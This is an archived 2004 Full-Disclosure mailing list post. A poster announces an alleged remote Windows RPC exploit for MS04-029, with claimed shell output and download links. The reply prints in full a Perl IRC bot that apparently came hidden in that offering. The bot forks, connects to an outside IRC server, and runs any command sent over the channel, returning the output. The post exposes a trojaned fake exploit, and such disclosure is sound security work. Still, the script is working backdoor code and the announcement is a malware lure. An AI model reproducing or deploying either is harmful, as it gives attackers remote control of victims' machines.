full-disclosure - New Remote Windows Exploit (MS04-029)

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-ID: <418946A4.8080300@immunitysec.com>
From: dave at immunitysec.com (Dave Aitel)
Subject: New Remote Windows Exploit (MS04-029)

python /tmp/p.py
Cute.

#!/usr/bin/perl
$chan="#0x";$nick="k";$server="ir3ip.net";$SIG{TERM}={};exit if fork;use 
IO::Socket;$sock = IO::Socket::INET->new($server.":6667")||exit;print 
$sock "USER k +i k :kv1\nNICK k\n";$i=1;while(<$sock>=~/^[^ ]+ ([^ ]+) 
/){$mode=$1;last if 
$mode=="001";if($mode=="433"){$i++;$nick=~s/\d*$/$i/;print $sock "NICK 
$nick\n";}}print $sock "JOIN $chan\nPRIVMSG $chan 
:Hi\n";while(<$sock>){if (/^PING (.*)$/){print $sock "PONG $1\nJOIN 
$chan\n";}if(s/^[^ ]+ PRIVMSG $chan :$nick[^ :\w]*:[^ :\w]* 
(.*)$/$1/){s/\s*$//;$_=`$_`;foreach(split "\n"){print $sock "PRIVMSG 
$chan :$_\n";sleep 1;}}}#/tmp/hi

-dave

Max Load wrote:

>/*
> *  Date: 2004/10/30
> *  Maxload load_max@...oo.com
> *
> *  Exploit for \"Vulnerability in RPC Runtime Library\"
> *  http://www.microsoft.com/technet/security/bulletin/MS04-029.mspx
> *
> *  Tested Against:
> *  Windows 2000 (SP3 SP4)
> *  Windows XP (SP1 SP2)
> *  Windows NT4 (SP6a)
> *
> *  EXPLOIT IS PROVIDED FOR EDUCATIONAL PURPOSES ONLY AS A PROOF OF CONCEPT
> *  I TAKE NO RESPONSIBILITY FOR ANY USE OF THIS CODE.
> *
> *
> *  Instructions:
> *
> *  [user@...alhost] $ gcc -o maxload maxload.c
> *  [user@...alhost] $ ./maxload
> *  *** MaxLoad (windows rpc exploit) v.1 ***
> *
> *  For educational propose only!
> *  error: you must enter a valid ip
> *  usage:./maxload [IP-ADDRESS]
> *  e.g: ./maxload 192.168.1.23
> *
> *
> *  [user@...alhost] $ ./maxload 192.168.1.2
> *  *** MaxLoad (windows rpc exploit) v.1 ***
> *  For educational propose only!
> *  Succes! Try connect to 192.168.1.2 port 31337
> *
> *
> *  [user@...alhost] $ telnet 192.168.1.2 31337
> *  Connected to 192.168.1.2.
> *  Escape character is \'^]\'.
> *
> *  Microsoft Windows XP [Version 5.1.2600]
> *  ? Copyright 1985-2001 Microsoft Corp.
> *
> *  C:\\>
> *
> * Bang, here you go, administrative access..
> *
> */
>
>Do i need too say more :D
>
>https://fri-adgang.dk/?get=1056]maxload.c (source code)
>https://fri-adgang.dk/?get=1055]maxload (linux static binary)
>
>-MaxLoad
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.netsys.com/full-disclosure-charter.html
>  
>